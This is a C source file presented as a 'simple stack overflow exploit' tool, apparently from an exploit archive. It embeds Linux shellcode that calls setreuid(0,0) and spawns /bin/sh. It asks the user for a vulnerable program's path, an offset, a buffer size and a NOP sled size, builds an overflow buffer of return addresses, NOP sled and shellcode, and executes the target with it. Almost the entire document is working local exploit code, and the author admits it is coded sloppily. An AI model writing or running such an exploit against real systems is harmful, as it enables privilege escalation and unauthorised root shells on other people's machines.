PADS Simple Stack Overflow Exploit/*
lazy mans exploit
i make no guarantees this will exploit anything, the exploit itself was
coded sloppy
ChrisR-
*/
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
// typical shellcode to spawn a shell, this can be replaced
char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";
unsigned int sp(void)
{__asm__("movl %esp, %eax");}
int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;
int buff_size, nop_size;
char prog_path[255];
char prog_name[255];
char prog_arg[255];
if (argc > 1)
{
printf("\nUsage: %s And enter the values\n",argv[0]);
printf("%s is a tool to aide automate local stack overflow testing. You
may need to change the code to fit your needs"
"there is no way to guarntee automation in the exploitation
process, except for basic examples.\n\n",argv[0]);
printf("chris @ www.cr-secure.net\;n\n");
return 0;
}
printf("Please enter the values as requested . . .\n");
printf("Enter the vulnerable program path: ", prog_path);
scanf("%s", prog_path);
printf("Enter the vulnerable program name: ", prog_name);
scanf("%s", prog_name);
/****if no args req. comment out the next line and the one below that and
fix execl()****/
printf("Enter any arguments the program requires: ", prog_arg);
scanf("%s", prog_arg);
printf("Enter an offset: ");
scanf("%d", &offset);
printf("Enter a buffer size: ");
scanf("%d", &buff_size);
printf("Enter the nop sled size: ");
scanf("%d", &nop_size);
esp = sp();
ret = esp - offset;
printf("\nThe Return Value Is: 0x%x\n", ret);
buffer = malloc(buff_size);
ptr = buffer;
addr_ptr = (long *)ptr;
for (i = offset; i < buff_size; i+=4)
*(addr_ptr++) = ret;
for ( i = offset; i < nop_size; i++)
buffer[i] = '\x90';
ptr = buffer + nop_size;
for ( i = offset; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buffer[buff_size] = 0;
printf("Injecting Shellcode . . .\n\n");
execl(prog_path, prog_name, prog_arg, buffer, 0);
free(buffer);
return 0;
}